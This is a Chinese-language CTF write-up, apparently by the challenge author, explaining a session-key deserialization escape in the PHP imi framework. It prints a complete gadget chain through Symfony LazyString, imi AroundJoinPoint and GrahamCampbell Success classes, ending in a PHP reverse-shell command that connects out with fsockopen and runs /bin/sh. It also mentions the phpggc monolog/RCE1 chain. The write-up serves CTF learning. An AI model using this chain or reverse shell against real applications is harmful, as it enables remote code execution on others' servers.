docker-compose up -ddocker-compose down --rmi all本题利用了一个名为imi的框架。
本题有且只有一个路由由php处理/config,其实现如下:
这个路由的代码中最惹人注意的地方是,session的键值是可以被用户控制的。
imi框架是用swoole起点的,但swoole本身不支持php的原生session,所以为了兼容原生的session,imi框架自己写了一个session模块,并兼容了原生session。
在原生session文件处理的实现中,开发者使用|对属性进行分割,但键名没有过滤,可以插入|。如果用户可控键名,那么就会导致反序列化逃逸。
那么接下来就是找反序列化链了。本次比赛的选手找到了各种各样的链,这里先说一下预期链:
由于本人在测试时并没有找到destruct触发的链。所以基于反序列化函数后的代码尝试触发toString。但我们可以看到反序列化得到的对象,经过两行代码后就进入了serialize函数中。这意味着我们可以通过触发__sleep来触发一条序列化链。
这里是我找到的gadget。
<?php
namespace Symfony\Component\String {
class LazyString {
private $value;
public function __construct($a)
{
$this->value = $a;
}
}
}
namespace Imi\Aop {
class JoinPoint {
protected array $args;
}
class AroundJoinPoint extends JoinPoint {
private $nextProceed;
public function __construct($a, $b)
{
$this->args = $a;
$this->nextProceed = $b;
}
}
}
namespace GrahamCampbell\ResultType {
class Success {
private $value;
public function __construct($a)
{
$this->value = $a;
}
}
}
namespace {
$ip = "127%2E0%2E%2E1";
$re = "php -r '\$sock=fsockopen(urldecode(\"$ip\"),8888);exec(\"/bin/sh -i <&3 >&3 2>&3\");'";
$exp = new \Symfony\Component\String\LazyString(
[
new \Imi\Aop\AroundJoinPoint(
[new \GrahamCampbell\ResultType\Success($re), "flatMap"],
[new \GrahamCampbell\ResultType\Success("system"), "flatMap"]
),
"proceed"
]
);
echo json_encode(["aaa|".serialize($exp)."aa" => "aaaa"]);
}入口是十分经典的LazyString,其__sleep会去调用__toString方法。一些选手使用此方法以为是什么神秘的地方调用了__toString,实际上是调用了__sleep方法。
这里我们可以调用任意类的公共方法,这里我选择了Imi\Aop\AroundJoinPoint::proceed:

$args可以通过父类属性获取,但必须是array类型。这个地方的动态调用虽然函数可控,但参数只有一个,且参数类型必须是array,是无法getshell的。那么就继续找存在动态调用的公共方法。
最终找到了GrahamCampbell\ResultType\Success::flatMap,其参数必须是callable类型。
动态调用公共方法的数组是被算作callable类型的,所以只要利用两次这个方法即可。
当然我说过,gadget不止这一条。有人使用phpggc的monolog/RCE1就直接打穿了(草)。
很想吐槽monolog,你都2.3.5版本了,怎么还不修链,学学人家yii啊,搞的我这道题都是非预期(bushi
还有一些队伍使用monolog的destruct加其它的类来触发反序列化链,就不说了。
如果抛开monolog的话,本题找destruct或wakeup起点的链其实很难。因为此框架的类属性都是限定类型的,那么找gadget就会变成java那样比较麻烦。目前来看目前没有一个队伍的起点是imi框架里的。
因为开发者设置的特殊规则,session键值中的.符号会被解释为子属性。因此链中的.符号必须进行特殊处理。比如我这里使用php反弹shell时将会被转义的符号url编码,在执行反弹shell代码的时候再解开。




